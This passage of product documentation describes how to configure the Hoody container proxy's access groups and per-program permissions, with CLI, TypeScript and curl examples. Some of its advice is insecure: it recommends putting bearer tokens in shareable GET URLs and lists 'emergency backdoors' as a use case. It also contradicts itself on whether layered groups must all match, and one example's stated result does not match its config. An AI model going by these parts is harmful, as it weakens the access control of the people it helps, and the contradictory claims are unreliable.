- **Low complexity** - No token expiration, no refresh flows, no claims validation

**Use cases:**
- Simple admin access
- Quick demos and prototypes
- Temporary contractor access
- Emergency backdoors
- Internal tools where JWT overhead isn't worth it
- Any scenario where portability > sophistication

### IP-Based Authentication

**Allow/deny by client IP address:**

```json
{
  "groups": {
    "office_network": {
      "type": "ip",
      "range": "203.0.113.0/24"
    },
    "vpn_users": {
      "type": "ip",
      "range": "198.51.100.0/24"
    }
  }
}
```

**Parameters:**
- `range` - IPv4 CIDR notation (e.g., `203.0.113.50/32` for single IP)

**Use case:** Restrict to office network, VPN, known IPs.

**Note:** The proxy sees real client IPs (not proxy IPs) thanks to Hoody's netfilter hooks, so IP-based auth works perfectly.

### Token Authentication

**Validate bearer tokens:**

```json
{
  "groups": {
    "api_partners": {
      "type": "token",
      "value": "token-abc-123",
      "header": "X-Api-Token"
    }
  }
}
```

A token group carries a single `value` plus exactly one of `header`, `cookie`, or `param` specifying where the token is read from.

**Use case:** Distribute tokens to API consumers, partners, integrations.

### Authentication Without Headers (hoody-curl Workaround)

**Problem:** Some environments can't send custom headers:
- Browser bookmarks (just URLs)
- QR codes (GET-only)
- Email links (no header control)
- Restricted platforms (iOS Shortcuts, some automation tools)

**Solution:** Use **hoody-curl** to transform authenticated requests into simple GET URLs.

**How it works:**


  
    ```bash
    # Requires ability to send Authorization header
    curl "https://67e89abc...890abc-terminal-1.node-us.containers.hoody.icu/execute" \
      -H "Authorization: Bearer jwt-token-here" \
      -H "Content-Type: application/json" \
      -d '{"command": "ls -la"}'
    
    # ❌ Can't do this from browser bookmark
    # ❌ Can't do this from QR code
    # ❌ Can't embed in simple URL
    ```
  
  
    ```
    # hoody-curl wraps the request as a GET URL
    https://67e89abc...890abc-curl-1.node-us.containers.hoody.icu/proxy?url=https://67e89abc...890abc-terminal-1.node-us.containers.hoody.icu/execute&method=POST&auth=Bearer%20jwt-token&body={"command":"ls -la"}
    
    # ✅ Works as browser bookmark
    # ✅ Works as QR code
    # ✅ Can be clicked from email
    # ✅ Works in restricted environments
    ```
    
    **The hoody-curl service:**
    1. Receives GET request with parameters
    2. Constructs proper POST request with headers
    3. Sends to target service
    4. Returns response
  


**Practical example - Bookmark to execute deployment:**

```javascript
// Create a bookmark URL that deploys your app
const curlService = "https://67e89abc...890abc-curl-1.node-us.containers.hoody.icu";
const targetService = "https://67e89abc...890abc-exec-1.node-us.containers.hoody.icu/api/deploy";
const authToken = "your-jwt-token";

const bookmarkUrl = `${curlService}/proxy?` + new URLSearchParams({
  url: targetService,
  method: 'POST',
  auth: `Bearer ${authToken}`,
  body: JSON.stringify({ environment: 'production' })
});

// Save as bookmark: "🚀 Deploy Production"
// Click bookmark → Deployment triggered
// No terminal needed, no curl command, just a click
```

**Use cases:**
- **Emergency deployments** - Bookmark for instant deploy
- **Mobile access** - QR code to trigger workflows
- **Email notifications** - "Click here to approve" links
- **Restricted automation** - iOS Shortcuts, Zapier webhooks
- **Simple sharing** - Send URL instead of curl command

**See:** [Hoody cURL →](/kit/curl/) for complete documentation on wrapping HTTP requests.


---

## Program-Specific Permissions

**Each program supports flexible instance control:**

### Permission Value Types

**Four types of access control:**


  
    ```json
    {
      "permissions": {
        "developers": {
          "terminal": true,      // Allow ALL terminal instances
          "files": false         // Deny ALL file service instances
        }
      }
    }
    ```
    
    **Use when:** Simple all-or-nothing access
  
  
    ```json
    {
      "permissions": {
        "customers": {
          "display": 1,          // Allow ONLY display instance 1
          "terminal": 2          // Allow ONLY terminal instance 2
        }
      }
    }
    ```
    
    **Use when:** Grant access to one specific instance
  
  
    ```json
    {
      "permissions": {
        "team": {
          "terminal": [1, 2, 3], // Allow terminal instances 1, 2, and 3
          "display": [1],        // Allow only display instance 1
          "exec": [1, 2]        // Allow exec instances 1 and 2
        }
      }
    }
    ```
    
    **Use when:** Grant access to specific subset of instances
  
  
    ```json
    {
      "permissions": {
        "developers": {
          "terminal": [1, 2],    // Terminals 1 and 2 only
          "files": true,         // All file instances
          "display": 1,          // Only display 1
          "http": true,         // All HTTP services
          "exec": false         // No exec access
        }
      }
    }
    ```
    
    **Use when:** Complex access patterns
  


### Available Programs

**Programs you can configure:**
- `http` - HTTP services (port-based: `http-80`, `http-3000`, etc.)
- `ssh` - SSH access to container
- `terminal` - Hoody Terminal service instances
- `display` - Hoody Display (desktop) instances
- `files` - Hoody Files service
- `exec` - Hoody Exec script execution
- `sqlite` - Hoody SQLite database instances
- `browser` - Hoody Browser automation instances
- `agent` - Hoody Agent AI instances
- Plus: `code`, `curl`, `daemon`, `notifications`

### Why Instance-Level Control Matters

**Real scenario:** Container with 5 terminal instances for different teams:

```json
{
  "permissions": {
    "frontend_team": {
      "terminal": [1, 2],    // Frontend devs get terminals 1 and 2
      "display": 1,
      "http": true
    },
    "backend_team": {
      "terminal": [3, 4],    // Backend devs get terminals 3 and 4
      "display": 2,
      "http": true
    },
    "ops_team": {
      "terminal": true,      // Ops gets ALL terminals
      "display": true,       // ALL displays
      "http": true,
      "ssh": true
    }
  }
}
```

**Each team isolated to specific instances while sharing the same container.**

---

## Complete Configuration Examples

### Example 1: Development Team Access

**Internal team, broad access, IP-restricted:**


  
    ```bash
    # Configure IP-restricted developer access for entire project
    # The If-Match ETag (file:v) comes from a prior `permissions get`.
    hoody projects proxy permissions replace --project $PROJECT_ID \
      --if-match file:v \
      --groups developers='{"type": "ip", "range": "203.0.113.0/24"}' \
      --permissions developers='{"terminal": true, "display": true, "files": true, "http": true, "ssh": true}' \
      --default deny
    ```
  
  
    ```typescript
    await client.api.proxyPermissionsProject.replace(PROJECT_ID, {
      groups: {
        developers: { type: 'ip', range: '203.0.113.0/24' }
      },
      permissions: {
        developers: { terminal: true, display: true, files: true, http: true, ssh: true }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # The If-Match ETag (file:v) comes from a prior GET of the permissions document.
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{
        "project": "'$PROJECT_ID'",
        "groups": {
          "developers": { "type": "ip", "range": "203.0.113.0/24" }
        },
        "permissions": {
          "developers": { "terminal": true, "display": true, "files": true, "http": true, "ssh": true }
        },
        "default": "deny"
      }'
    ```
  




**Result:**
- Developers from office network (203.0.113.0/24) get full access
- Everyone else denied
- Applies to all containers in project

### Example 2: Public API with Private Admin

**Container-level override for public API:**


  
    ```bash
    # Public API (JWT for customers) + private admin group (password)
    # The If-Match ETag (file:v) comes from a prior `permissions get`.
    hoody containers proxy permissions replace --container $CONTAINER_ID \
      --if-match file:v \
      --groups customers='{"type": "jwt", "secret": "customer-jwt-secret", "algorithm": "HS256", "sources": ["header:Authorization"]}' \
      --groups admin='{"type": "password", "username": "admin", "password": "hashed-admin-password", "algorithm": "sha256", "salt": "unique-salt"}' \
      --permissions customers='{"http": true}' \
      --permissions admin='{"terminal": true, "display": true, "files": true, "http": true, "ssh": true}' \
      --default deny
    ```
  
  
    ```typescript
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, {
      groups: {
        customers: {
          type: 'jwt', secret: 'customer-jwt-secret',
          algorithm: 'HS256', sources: ['header:Authorization']
        },
        admin: {
          type: 'password', username: 'admin',
          password: 'hashed-admin-password', algorithm: 'sha256', salt: 'unique-salt'
        }
      },
      permissions: {
        customers: { http: true },
        admin: { terminal: true, display: true, files: true, http: true, ssh: true }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # The If-Match ETag (file:v) comes from a prior GET of the permissions document.
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{
        "project": "'$PROJECT_ID'",
        "container": "'$CONTAINER_ID'",
        "groups": {
          "customers": {
            "type": "jwt", "secret": "customer-jwt-secret",
            "algorithm": "HS256", "sources": ["header:Authorization"]
          },
          "admin": {
            "type": "password", "username": "admin",
            "password": "hashed-admin-password", "algorithm": "sha256", "salt": "unique-salt"
          }
        },
        "permissions": {
          "customers": { "http": true },
          "admin": { "terminal": true, "display": true, "files": true, "http": true, "ssh": true }
        },
        "default": "deny"
      }'
    ```
  




**Result:**
- Customers with valid JWT: HTTP API + read-only files
- Admin with password: Full access (terminal, display, all files)
- Everyone else: Denied

### Example 3: Multi-Tier Access

**Different access levels for different teams:**


  
    ```bash
    # Multi-tier: ops (full), developers (partial), readonly (HTTP only)
    # The If-Match ETag (file:v) comes from a prior `permissions get`.
    hoody projects proxy permissions replace --project $PROJECT_ID \
      --if-match file:v \
      --groups ops_team='{"type": "ip", "range": "203.0.113.0/24"}' \
      --groups developers='{"type": "ip", "range": "198.51.100.0/24"}' \
      --groups readonly_users='{"type": "password", "username": "viewer", "password": "hashed-pass", "salt": "salt"}' \
      --permissions ops_team='{"terminal": true, "display": true, "files": true, "http": true, "ssh": true}' \
      --permissions developers='{"terminal": true, "files": true, "http": true, "ssh": false}' \
      --permissions readonly_users='{"http": true, "terminal": false, "display": false, "files": false}' \
      --default deny
    ```
  
  
    ```typescript
    await client.api.proxyPermissionsProject.replace(PROJECT_ID, {
      groups: {
        ops_team: { type: 'ip', range: '203.0.113.0/24' },
        developers: { type: 'ip', range: '198.51.100.0/24' },
        readonly_users: { type: 'password', username: 'viewer', password: 'hashed-pass', salt: 'salt' }
      },
      permissions: {
        ops_team: { terminal: true, display: true, files: true, http: true, ssh: true },
        developers: { terminal: true, files: true, http: true, ssh: false },
        readonly_users: { http: true, terminal: false, display: false, files: false }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # The If-Match ETag (file:v) comes from a prior GET of the permissions document.
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{
        "project": "'$PROJECT_ID'",
        "groups": {
          "ops_team": { "type": "ip", "range": "203.0.113.0/24" },
          "developers": { "type": "ip", "range": "198.51.100.0/24" },
          "readonly_users": { "type": "password", "username": "viewer", "password": "hashed-pass", "salt": "salt" }
        },
        "permissions": {
          "ops_team": { "terminal": true, "display": true, "files": true, "http": true, "ssh": true },
          "developers": { "terminal": true, "files": true, "http": true, "ssh": false },
          "readonly_users": { "http": true, "terminal": false, "display": false, "files": false }
        },
        "default": "deny"
      }'
    ```
  




**Access levels:**
- **Ops team** (203.0.113.0/24): Full access to all programs
- **Developers** (198.51.100.0/24): Terminal, files, HTTP (no SSH, no display)
- **Read-only users** (password auth): Only HTTP access

---

## Permission Hierarchy

**When both project and container permissions exist:**

```
Request arrives at container service URL
        ↓
Check: Does container have permissions configured?
        ↓
   YES → Use container permissions
   NO  → Use project permissions (if configured)
        ↓
If no permissions at either level:
   → Default open (anyone with URL can access)
```

**Example scenario:**

```bash
# Project: Restrict all containers to office IP
PATCH /api/v1/projects/{id}/proxy/permissions
{
  "groups": { "office": { "type": "ip", "range": "203.0.113.0/24" } },
  "permissions": { "office": { "terminal": true, "http": true } },
  "default": "deny"
}

# Container: Override one container for public access
PATCH /api/v1/containers/{id}/proxy/permissions
{
  "groups": { "public": { "type": "ip", "range": "0.0.0.0/0" } },
  "permissions": { "public": { "http": true } },
  "default": "deny"
}
```

**Result:**
- Most containers: Office-only access (terminal + HTTP)
- Public container: Anyone can access HTTP
- Public container: Office can still access terminal (inherits project? No—container config replaces entirely)


**Container-level permissions REPLACE project permissions entirely—they don't merge.** If you want to keep some project permissions, you must re-include them in the container config.


---

## Configuration Endpoints

### Project-Level Operations


  
    ```bash
    # Get current config (read the file_version ETag for If-Match)
    hoody projects proxy permissions get --project $PROJECT_ID

    # Set project permissions
    hoody projects proxy permissions replace --project $PROJECT_ID \
      --if-match file:v \
      --groups <name>='{...}' --permissions <name>='{...}' --default deny

    # Delete all permissions (revert to open)
    hoody projects proxy permissions delete --project $PROJECT_ID --if-match file:v

    # Update default policy only
    hoody projects proxy default --project $PROJECT_ID --if-match file:v --default deny

    # Enable/disable proxy entirely (omit --enable-proxy to disable)
    hoody projects proxy state --project $PROJECT_ID --if-match file:v
    ```
  
  
    ```typescript
    // Get current config
    const config = await client.api.proxyPermissionsProject.get(PROJECT_ID);

    // Set project permissions
    await client.api.proxyPermissionsProject.replace(PROJECT_ID, { ...config });

    // Delete all permissions (revert to open)
    await client.api.proxyPermissionsProject.delete(PROJECT_ID);

    // Update default policy only
    await client.api.proxyPermissionsProject.updateDefault(PROJECT_ID, { default: 'deny' });
    ```
  
  
    ```bash
    # Get current config
    curl "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN"

    # Set project permissions (If-Match ETag from the GET above)
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{...}'

    # Delete all permissions (revert to open)
    curl -X DELETE "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "If-Match: file:v"

    # Update default policy only
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/default" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"default": "deny"}'

    # Enable/disable proxy entirely
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/state" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"enable_proxy": false}'
    ```
  


### Container-Level Operations


  
    ```bash
    # Get container config (read the file_version ETag for If-Match)
    hoody containers proxy permissions get --container $CONTAINER_ID

    # Set container permissions (override project)
    hoody containers proxy permissions replace --container $CONTAINER_ID \
      --if-match file:v \
      --groups <name>='{...}' --permissions <name>='{...}' --default deny

    # Delete container permissions (revert to project-level)
    hoody containers proxy permissions delete --container $CONTAINER_ID --if-match file:v

    # Update default policy
    hoody containers proxy default --container $CONTAINER_ID --if-match file:v --default allow
    ```
  
  
    ```typescript
    // Get container config
    const config = await client.api.proxyPermissionsContainer.get(CONTAINER_ID);

    // Set container permissions (override project)
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, { ...config });

    // Delete container permissions (revert to project-level)
    await client.api.proxyPermissionsContainer.delete(CONTAINER_ID);

    // Update default policy
    await client.api.proxyPermissionsContainer.updateDefault(CONTAINER_ID, { default: 'allow' });
    ```
  
  
    ```bash
    # Get container config
    curl "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN"

    # Set container permissions (override project; If-Match ETag from the GET above)
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{...}'

    # Delete container permissions (revert to project-level)
    curl -X DELETE "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "If-Match: file:v"

    # Update default policy
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions/default" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"default": "allow"}'
    ```
  


### Group Management

**Add/update/remove specific groups without replacing entire config:**


  
    ```bash
    # Add JWT group to project
    hoody projects proxy groups jwt set --project $PROJECT_ID --group-name api-users \
      --if-match file:v \
      --secret "jwt-secret" --algorithm HS256 --sources "header:Authorization"

    # Add IP group to project
    hoody projects proxy groups ip set --project $PROJECT_ID --group-name office \
      --if-match file:v --range "198.51.100.0/24"

    # Remove group entirely
    hoody projects proxy groups delete --project $PROJECT_ID --group-name office \
      --if-match file:v
    ```
  
  
    ```typescript
    // Add JWT group to project
    await client.api.proxyPermissionsProject.setJwtGroup(PROJECT_ID, 'api-users', {
      secret: 'jwt-secret',
      algorithm: 'HS256',
      sources: ['header:Authorization']
    });

    // Add IP group
    await client.api.proxyPermissionsProject.setIpGroup(PROJECT_ID, 'office', {
      range: '198.51.100.0/24'
    });

    // Remove group
    await client.api.proxyPermissionsProject.removeAuthGroup(PROJECT_ID, 'office');
    ```
  
  
    ```bash
    # Add JWT group to project
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/groups/api-users/jwt" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"secret": "jwt-secret", "algorithm": "HS256", "sources": ["header:Authorization"]}'

    # Add IP group
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/groups/office/ip" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"range": "198.51.100.0/24"}'

    # Remove group entirely
    curl -X DELETE "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/groups/office" \
      -H "Authorization: Bearer $TOKEN" \
      -H "If-Match: file:v"
    ```
  


### Permission Management

**Manage program permissions for groups:**


  
    ```bash
    # Set permissions for a group (boolean — all instances)
    hoody projects proxy groups permissions set --project $PROJECT_ID --group-name developers \
      --if-match file:v --program terminal --access true

    # Set permissions (specific instance)
    hoody projects proxy groups permissions set --project $PROJECT_ID --group-name developers \
      --if-match file:v --program display --access 1

    # Set permissions (multiple instances)
    hoody projects proxy groups permissions set --project $PROJECT_ID --group-name developers \
      --if-match file:v --program terminal --access "[1,2,3]"

    # Remove all permissions for a group
    hoody projects proxy groups permissions clear --project $PROJECT_ID --group-name developers \
      --if-match file:v

    # Remove specific program permission
    hoody projects proxy groups permissions delete --project $PROJECT_ID --group-name developers \
      --if-match file:v --program terminal
    ```
  
  
    ```typescript
    // Set permissions (all terminal instances)
    await client.api.proxyPermissionsProject.setGroup(PROJECT_ID, 'developers', {
      program: 'terminal', access: true
    });

    // Set permissions (specific instance)
    await client.api.proxyPermissionsProject.setGroup(PROJECT_ID, 'developers', {
      program: 'display', access: 1
    });

    // Set permissions (multiple instances)
    await client.api.proxyPermissionsProject.setGroup(PROJECT_ID, 'developers', {
      program: 'terminal', access: [1, 2, 3]
    });

    // Remove all permissions for a group
    await client.api.proxyPermissionsProject.removeGroup(PROJECT_ID, 'developers');
    ```
  
  
    ```bash
    # Set permissions for a group (boolean)
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/permissions/developers" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"program": "terminal", "access": true}'

    # Set permissions (specific instance)
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/permissions/developers" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"program": "display", "access": 1}'

    # Set permissions (multiple instances)
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/permissions/developers" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"program": "terminal", "access": [1, 2, 3]}'

    # Remove all permissions for a group
    curl -X DELETE "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/permissions/developers" \
      -H "Authorization: Bearer $TOKEN" \
      -H "If-Match: file:v"

    # Remove specific program permission
    curl -X DELETE "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/permissions/developers/terminal" \
      -H "Authorization: Bearer $TOKEN" \
      -H "If-Match: file:v"
    ```
  


---

## Real-World Scenarios

### Scenario 1: Open Development → Locked Production

**Development phase** (use cryptographic URLs):

```
No permissions configured
→ Anyone with URL can access
→ Share URLs with team for instant collaboration
→ Perfect for rapid iteration
```

**Staging phase** (add basic restrictions):

```bash
PATCH /api/v1/projects/{id}/proxy/permissions
{
  "groups": {
    "team": { "type": "ip", "range": "203.0.113.0/24" }
  },
  "permissions": {
    "team": { "terminal": true, "http": true, "display": true }
  },
  "default": "deny"
}
```

**Production phase** (strict JWT auth):

```bash
# Override production container only
PATCH /api/v1/containers/{prod_id}/proxy/permissions
{
  "groups": {
    "customers": {
      "type": "jwt",
      "secret": "production-jwt-secret",
      "algorithm": "HS256",
      "sources": ["header:Authorization"]
    }
  },
  "permissions": {
    "customers": { "http": true }
  },
  "default": "deny"
}
```

**Result:**
- Dev containers: Open (cryptographic URLs)
- Staging containers: Office IP only
- Production container: JWT required

### Scenario 2: Customer Support Access

**Give support team temporary terminal access:**

```bash
# Add support group to specific container
PATCH /api/v1/containers/{id}/proxy/permissions/groups/support/password
{
  "username": "support",
  "password": "temporary-password-hash",
  "salt": "salt"
}

# Grant specific access to support team
PATCH /api/v1/containers/{id}/proxy/permissions/permissions/support
{
  "program": "terminal",
  "access": 1                // Only terminal 1
}

PATCH /api/v1/containers/{id}/proxy/permissions/permissions/support
{
  "program": "display",
  "access": 1                // Only display 1
}

PATCH /api/v1/containers/{id}/proxy/permissions/permissions/support
{
  "program": "files",
  "access": true             // All file instances
}
```

**Support can:**
- ✅ Access terminal instance 1 only
- ✅ View display instance 1 only
- ✅ Use all file service instances

**Instance control prevents accidental access** to other terminals/displays used by your team.

**After support session:** Delete the support group or disable it.

### Scenario 3: API Partners with Rate Limiting

**Different token tiers for partners:**

```bash
# Mutating /proxy/permissions requires an If-Match: file:v header (ETag from a prior GET).
PATCH /api/v1/containers/{api_id}/proxy/permissions
{
  "groups": {
    "tier1_partners": {
      "type": "token",
      "value": "partner-abc-tier1",
      "header": "X-Api-Token"
    },
    "tier2_partners": {
      "type": "token",
      "value": "partner-def-tier2",
      "header": "X-Api-Token"
    }
  },
  "permissions": {
    "tier1_partners": {
      "http": true,            // All HTTP services
      "files": true           // All file instances
    },
    "tier2_partners": {
      "http": [80, 3000],     // Only HTTP on ports 80 and 3000
      "files": 1              // Only file instance 1
    }
  },
  "default": "deny"
}
```

---

## Permission Testing

### Verify Configuration

**After setting permissions, test each group:**


  
    ```bash
    # Get current config
    hoody projects proxy permissions get --project $PROJECT_ID

    # Test access from your machine (for IP groups)
    curl "https://67e89abc...890abc-terminal-1.node-us.containers.hoody.icu"

    # Test with Basic Auth (for password groups)
    curl -u "username:password" \
      "https://67e89abc...890abc-terminal-1.node-us.containers.hoody.icu"

    # Test with JWT (for JWT groups)
    curl -H "Authorization: Bearer eyJhbG..." \
      "https://67e89abc...890abc-http-8080.node-us.containers.hoody.icu/api/endpoint"
    ```
  
  
    ```typescript
    // Get current config to verify
    const config = await client.api.proxyPermissionsProject.get(PROJECT_ID);
    console.log(JSON.stringify(config.data, null, 2));

    // Test access programmatically via container client
    const containerClient = await client.withContainer({
      id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER
    });
    const result = await containerClient.terminal.execution.execute({
      command: 'echo "access works"'
    });
    ```
  
  
    ```bash
    # Get current config
    curl "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN"

    # Test with IP group (from allowed IP)
    curl "https://67e89abc...890abc-terminal-1.node-us.containers.hoody.icu"

    # Test with password group (Basic Auth)
    curl "https://67e89abc...890abc-terminal-1.node-us.containers.hoody.icu" \
      -u "username:password"

    # Test with JWT group (Bearer token)
    curl "https://67e89abc...890abc-http-8080.node-us.containers.hoody.icu/api/endpoint" \
      -H "Authorization: Bearer eyJhbG..."

    # From denied IP or without auth (should return 401/403)
    curl "https://67e89abc...890abc-terminal-1.node-us.containers.hoody.icu"
    ```
  


### Debugging Access Issues

**If access is denied unexpectedly:**

1. **Check group matches:**
   ```bash
   GET /api/v1/projects/{id}/proxy/permissions
   # Verify group exists and credentials/IP match
   ```

2. **Check program permissions:**
   ```json
   // Ensure the program is allowed for the group
   "permissions": {
     "yourgroup": {
       "terminal": true  // Must be explicitly true
     }
   }
   ```

3. **Check default policy:**
   ```json
   "default": "deny"  // If no group matches, deny
   ```

4. **Check container override:**
   ```bash
   GET /api/v1/containers/{id}/proxy/permissions
   # Container config might override project
   ```

5. **Check proxy enabled:**
   ```json
   "enable_proxy": true  // Must be true
   ```

---

## Security Best Practices

### 1. Start with Default Deny

```json
{
  "default": "deny"
}
```

**Why:** Explicit allow is more secure than implicit allow. If you add new programs later, they're denied by default until you explicitly permit them.

### 2. Use Least Privilege

**Grant minimum necessary access:**

```json
{
  "permissions": {
    "api_users": {
      "http": [80],           // Only HTTP on port 80 (public API)
      "terminal": false,      // No terminal access
      "files": false,         // No file access
      "display": false,       // No display access
      "exec": false          // No exec access
    }
  }
}
```

### 3. Layer Security

**Combine multiple authentication methods:**

```json
{
  "groups": {
    "secure_access": {
      "type": "ip",
      "range": "203.0.113.0/24"  // Must be from office
    },
    "with_jwt": {
      "type": "jwt",
      "secret": "jwt-secret",
      "sources": ["header:Authorization"]  // AND must have valid JWT
    }
  }
}
```

**Users must satisfy BOTH:** Be from office IP AND provide valid JWT.

### 4. Audit Permissions Regularly

```bash
# List all project permissions
curl "https://api.hoody.icu/api/v1/projects" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# For each project, check permissions
curl "https://api.hoody.icu/api/v1/projects/{id}/proxy/permissions" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# Look for:
# - Overly broad IP ranges (0.0.0.0/0)
# - Expired access that should be removed
# - Groups no longer needed
```

---

## Disabling the Proxy

**Completely disable proxy for a project/container:**


  
    ```bash
    # Disable at project level (all containers unreachable; omit --enable-proxy to disable)
    hoody projects proxy state --project $PROJECT_ID --if-match file:v

    # Disable at container level (this container unreachable)
    hoody containers proxy state --container $CONTAINER_ID --if-match file:v

    # Re-enable
    hoody containers proxy state --container $CONTAINER_ID --if-match file:v --enable-proxy
    ```
  
  
    ```typescript
    // Disable at project level
    await client.api.proxyPermissionsProject.updateState(PROJECT_ID, { enable_proxy: false });

    // Disable at container level
    await client.api.proxyPermissionsContainer.updateState(CONTAINER_ID, { enable_proxy: false });

    // Re-enable
    await client.api.proxyPermissionsContainer.updateState(CONTAINER_ID, { enable_proxy: true });
    ```
  
  
    ```bash
    # Disable at project level (all containers unreachable; If-Match ETag from a prior GET)
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions/state" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"enable_proxy": false}'

    # Disable at container level (this container unreachable)
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions/state" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"enable_proxy": false}'

    # Re-enable
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions/state" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{"enable_proxy": true}'
    ```
  


**When disabled:**
- All service URLs return 503 Service Unavailable
- Container still running (just not accessible via proxy)
- Useful for maintenance or security lockdown

---

## Permission Configuration Reference

### Full Configuration Structure

```json
{
  "project": "string (required, project ID)",
  "container": "string (optional, for container-level only)",
  "groups": {
    "{groupName}": {
      "type": "jwt" | "password" | "ip" | "token",
      // ... type-specific fields
    }
  },
  "permissions": {
    "{groupName}": {
      "terminal": true | false | number | [number],
      "display": true | false | number | [number],
      "files": true | false | number | [number],
      "http": true | false | number | [number],
      "ssh": true | false | number | [number],
      "exec": true | false | number | [number],
      "sqlite": true | false | number | [number],
      "browser": true | false | number | [number],
      "agent": true | false | number | [number]
    }
  },
  "default": "allow" | "deny",
  "enable_proxy": true | false  // optional, defaults to true
}
```

> `enable_proxy` is an **optional** field of the permissions document body (it defaults to `true` and is persisted in the document's settings alongside `default`). To flip it without rewriting the whole document, use the dedicated proxy state/settings endpoint instead (`PATCH .../proxy/permissions/state` or `PATCH .../proxy/settings`).

### Authentication Type Fields

**JWT:**
```json
{
  "type": "jwt",
  "secret": "string (required)",
  "algorithm": "HS256" | "RS256" | "ES256" (required)",
  "sources": ["string"] (required, e.g., ["header:Authorization"]),
  "claims": {} (optional, required JWT claims)
}
```

**Password:**
```json
{
  "type": "password",
  "username": "string (required)",
  "password": "string (required, plain or hashed)",
  "algorithm": "sha256" (optional)",
  "salt": "string (required)"
}
```

**IP:**
```json
{
  "type": "ip",
  "range": "string (required, IPv4 CIDR)"
}
```

**Token:**
```json
{
  "type": "token",
  "value": "string (required, the token to match)",
  "header": "string" | "cookie": "string" | "param": "string"
  // exactly one of header | cookie | param specifying where the token is read from
}
```

---

## Useful Questions

### Can I use multiple authentication methods for the same group?

No. Each group uses exactly one authentication type (JWT, password, IP, or token). However, you can create multiple groups with different auth methods and all will be checked. If any group matches, the user gets access with that group's permissions.

### Do container-level permissions merge with project-level permissions?

No, they **replace** entirely. If you set container-level permissions, the project-level config is completely ignored for that container. If you want to keep some project settings, you must re-include them in the container configuration.

### What happens if no permissions are configured at all?

The container is **open by default** - anyone with the URL can access all services. This is intentional for rapid development and instant collaboration. The cryptographic URL (2^192 combinations) provides security through obscurity.

### Can I restrict access to specific HTTP ports?

Yes! Use instance numbers for the `http` program. For example, `"http": [80, 3000]` allows only ports 80 and 3000. Each port is treated as an instance.

### How do I temporarily disable access to a container?

Use the proxy state endpoint:
```bash
